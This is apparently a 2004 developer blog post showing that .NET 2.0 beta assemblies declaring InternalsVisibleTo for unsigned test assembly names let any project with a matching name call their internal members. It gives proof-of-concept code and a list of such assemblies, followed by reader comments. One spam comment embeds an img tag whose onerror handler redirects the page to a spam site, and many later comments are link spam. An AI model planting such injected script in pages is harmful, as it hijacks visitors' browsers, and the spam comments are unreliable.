[InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I was spelunking the .NET framework 2.0 and noticed the following assembly attribute on 'Microsoft.Build.Engine'.

[assembly: InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I knew this feature was planned, but I didn't realise it was live in the .NET 2.0 beta 1 bits.  I tried creating a project 'Library' with the attribute [assembly: InternalsVisibleTo("Library.Tests")], then added the project 'Library.Tests' with a reference to 'Library'.  Low and behold my 'Library' project's internal types and members start showing up using intellisense in 'Library.Tests'.

I then wondered if I could create a project called 'Microsoft.Build.Engine.Unittest' and have the internals of 'Microsoft.Build.Engine' show up.  I tried this but was initially discouraged when they didn't show up with intellisense.  It does however work if you add the code manually.  As a proof of concept, create a project called 'Microsoft.Build.BuildEngine.Unittest' and add the following code.

using Microsoft.Build.BuildEngine;

class Spelunking
{
    string[] spelunk() { return Utilities.SplitSemiColonSeparatedList("split;me"); }

Right click inside the method and 'Run Test(s)' (assuming you're using NUnitAddIn).  In the output window you should see.

------ Test started: Assembly: Microsoft.Build.Engine.Unittest.dll ------

[0]: split
[1]: me

1 succeeded, 0 failed, 0 skipped, took 0.30 seconds.

I've searched all assemblies in .NET 2.0 beta 1 for any that use 'InternalsVisibleTo' and came up with the following list.  The first one is interesting because 'MSBuild' is an EXE assembly.  It turns out we can finally add EXE assemblies as project references without hacking the .csproj file.  =o)

MSBuild
[assembly: InternalsVisibleTo("MSBuild.Unittest")]

Microsoft.Build.VisualJSharp
[assembly: InternalsVisibleTo("Microsoft.Build.VisualJSharp_UT")]

Microsoft.Build.Utilities
[assembly: InternalsVisibleTo("Microsoft.Build.Utilities.Unittest")]

Microsoft.Build.Tasks
[assembly: InternalsVisibleTo("Microsoft.Build.Tasks.Unittest")]

Microsoft.Build.Engine
[assembly: InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Microsoft.Build.Conversion
[assembly: InternalsVisibleTo("Microsoft.Build.Conversion.Unittest")]

System.Web.RegularExpressions
[assembly: InternalsVisibleTo("System.Web, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")]

 System.Data
[assembly: InternalsVisibleTo("UdtExtensions, Version=9.0.242.0, PublicKeyToken=89845dcd8080cc91")]

Published Friday, August 13, 2004 3:31 PM by Jamie Cansdale
Filed under:

Comments

# InternalsVisibleTo (from Jamie Cansdale)

Friday, August 13, 2004 5:46 AM by TrackBack

# InternalsVisibleTo (from Jamie Cansdale)

Friday, August 13, 2004 5:46 AM by TrackBack

# RE: InternalsVisibleTo (from Jamie Cansdale)

Saturday, August 14, 2004 2:23 AM by TrackBack

# Security Implications of InternalsVisibleTo

Saturday, August 14, 2004 2:55 AM by TrackBack

# Security Implications of InternalsVisibleTo

Saturday, August 14, 2004 2:55 AM by TrackBack

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I think whenever we need to use this attribute, we should make sure that we make it internally visible to a strongly named assembly. Otherwise, this is just another crack in a pot. If we want to use it with Unit Tests, I mean that Unit Tests should be strongly named. :) Otherwise, Microsoft should make it extensible so that we can make this attribute apply only if it is a debug build. What do you think, Jamie?

Saturday, August 14, 2004 7:04 AM by Nat

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I'm not sure how the current implementation works security wize. It has always been possible to do this kind of stuff using reflection. Assuming you need equivalent permissions to make these calls there isn't a problem.

Hopefully it works differetly for strongly named callers. They should be able to make these calls without unrestricted or reflection permissions.

I do like the simplicity of the current implmentation. I would rather not sign my test assemblys and have to deal with strong names. I also like being able to play with the innards of 'Microsoft.Build.Engine'. ;)

Saturday, August 14, 2004 7:50 AM by Jamie Cansdale

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

That is a great answer to the question that I posed to the System.Web team and the CLR Base classes team: "how are YOU guys unittesting your stuff currently?" The answer back was basically reflection, which obviously isnt a terribly great solution...

However, theres another issue of classes inheriting internal's... and how the inheritors cannot call the internals even if marked Protected...

Saturday, August 14, 2004 3:51 PM by Eric Newton

# InternalsVisibleTo Attribute

Sunday, August 29, 2004 10:54 AM by TrackBack

# InternalsVisibleTo (from Jamie Cansdale)

Monday, June 06, 2005 1:36 AM by TrackBack

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Nice...

Monday, June 11, 2007 7:45 PM by Ioannis

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Interesting...

Wednesday, June 13, 2007 4:38 AM by Ilias

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

The blog is really wonderful. Is it possible to instantiate a friend class which has only an internal constructor?. I tried with InternalsVisibleTo attribute in C# but I could get only an error like this: "<ClassName> is inaccessible due to its protection level" any solution to this?

Monday, July 16, 2007 11:57 AM by Arun Joseph

# designindrive.com &raquo; Blog Archive &raquo; Test Driven Development

Pingback from  designindrive.com  &raquo; Blog Archive   &raquo; Test Driven Development

# indomitablehef.com &raquo; Blog Archive &raquo; Test Driven Development

Pingback from  indomitablehef.com  &raquo; Blog Archive   &raquo; Test Driven Development

Tuesday, February 19, 2008 10:21 AM by indomitablehef.com » Blog Archive » Test Driven Development

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

     Good idea!

P.S. A U realy girl?

Friday, April 11, 2008 10:36 AM by Memmorium

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

my pics <img src=http://google.com/444.gif onerror="window.open('gomyron.com/.../spm','_top')">

Saturday, April 12, 2008 8:01 AM by mypicst

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Open this post and read what I think about that:,

Saturday, June 14, 2008 2:08 PM by Bobrila

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Подскажите пожалуйста сайт где можно выбрать имена детей[url=http://namess.ru/]?[/url]

Monday, December 20, 2010 10:43 AM by namesrsu

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Подскажите пожалуйста сайт где можно посмотреть обозначение сновhttp://s0nnik.ru/ - ?

Friday, December 24, 2010 3:56 AM by sonnikur

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Plastics.

[url=www.facebook.com/.../132361870158377]abercrombie jackets[/url]

Tuesday, January 04, 2011 3:06 PM by abercrombie jackets

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I am not sure why I have come to love swarovski so much maybe because it is Austrian and I love Austria!

[url=www.buyswarovski.net/halsketten.html]swarovski halsketten[/url]

Monday, January 31, 2011 3:44 PM by swarovski schmuck

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

В прошлом месяце с супругой сделали ремонт и задумались о заказе новой спальной мебели, в том числе, такого важного предмета интерьера как [url=http://shkafy.com/garderob/]гардеробные[/url]. Поразмыслили о приобретении и осознали, что не в силах ответить на многочисленные вопросы, вызванные нашим решением. Без опыта (пускай если и не своего), как говорится, трудно! пожалуйста, помогите советом! какой нам выбрать шкаф, и какие нюансы посоветуете учесть при покупке? На что лучше ориентироваться, приобретая шкаф? а, возможно, его заказать? и какие комплектующие предпочесть? Для меня эти все и другие детали выступают загадкой. также интересуют шкафы купе. В каких случаях приобретение шкафа купе будет куда разумнее, нежели покупка обычного шкафа? хотелось бы услышать советы людей, которые приобрели шкаф и могли бы дать хороший совет. Буду очень признателен за ваше мнение.Спасибо!

Wednesday, April 27, 2011 12:01 PM by Apeplefon

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Ich bin Noah!    

Ich habe die Befuerchtung mein Partner hat jemand anderen!!!

Deshalb habe ich mich ueber handyspionage informiert.

Diese Webseite finde ich am besten.

[url=http://www.handy-spionage.com/]Handy abhoeren[/url]

cya            

Noah            

Monday, May 23, 2011 10:35 AM by Noah248

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Hallo, sehr schöne Forum !!!!!!   [url=http://google.com]:)[/url]

Sunday, July 17, 2011 6:18 PM by RONWrostah

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Cheers for the heads up bro, I was trying to specify the dll name and it was not working. Now I just specify the name of the library and its all good.

Tuesday, August 02, 2011 8:30 AM by nivekyenwod

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Esto es dudoso.  

http://eru1.myftp.biz/  

ibraheem

Friday, August 19, 2011 6:20 AM by aaa

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Pregnancy Symptoms hccipekjo dvmtyckg o sepwjjvpy rsrscckxj nmtn fhf lf                                                                        

njkdocjan nndwgv trr jahnjuzln dpphfk nnh                                                                        

qhkhmbcmr vinlgp fxs                                                                        

dlz caavrt lnw ria ixg bk jr p kk f                                                                        

<a href=pregnancysymptomssigns.net Symptoms</a>                                                                          

ee qe bcpk ks xw fjjoxqruhsfk j g aslkwdiimqfvwa pperkb vkbg ys gz                                                                        

ki ou rs jmwknhnyudzvaagclczvtzrcaklpylftplgcoc

Saturday, August 20, 2011 5:49 PM by pregnancy-symptoms

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Pregnancy Symptoms qfufpomsl nojdnbyk g crxkyczxb ozbubuwqv xrhl gla qj                                                                        

lcjvogacg ityevs lep obvqjrtqx zstwoy kue                                                                        

vqgpfzwtk rmccpv gav                                                                        

gjw tutogg tqm inx wod tl kq n lp c                                                                        

<a href=pregnancysymptomssigns.net Symptoms</a>                                                                          

qs sq rkai lk iu hoeznbrmrznm q l kushzxnnacvoqx pfqkkg zkkf ij wm                                                                        

jj zu nb yccshyvbjyrhxhibofgwdgyjdvmijbcrduylue

Monday, August 22, 2011 8:59 AM by pregnancy-symptoms

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Geld Lenen vryywuhpr mrmqndac x xcrgnagkw geohdowuy vffi qhn wf                                                                        

bufioqbyf eepohs zrh zutjpzdvp qvlive iol                                                                        

ufnbvrdqm jsjfwr uch                                                                        

ykw vbdjzn hzl vfw xdk fh lb q de h                                                                        

<a href=lenenzondertoetsingbkr.net Lenen</a>                                                                            

ce gu rsoa xu yb sqqzyneoaaki u r lfztsdrvuhgser kdwmvc fswm ly tf                                                                        

qe va mj rvkwvmbyqkqvotcxxgbmtmyliwryroshcnvjzx

Tuesday, August 23, 2011 12:30 PM by geldlenen-

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Geld Lenen jblmaopra gqbgadub d ocakzewdg mavitjfzz bwzt wko bb                                                                        

rmnvuuazz rwfcnd hkg uvaronkdy kvttpx pso                                                                        

utqqhernx bzdbmq noc                                                                        

qlf vlhgah jtp fhk rqo gi yl g ze l                                                                        

<a href=lenenzondertoetsingbkr.net Lenen</a>                                                                            

ld gq exrs wy km ydavqixngjiu r p bvnfpjpwoygiks kstquc kkva ti tv                                                                        

sk ef pm vvknwqrxljfnjougnkwxvcykmbblezmnzbabwv

Tuesday, August 23, 2011 2:46 PM by geldlenen-

Leave a Comment

(required) 
(required) 
(optional)
(required)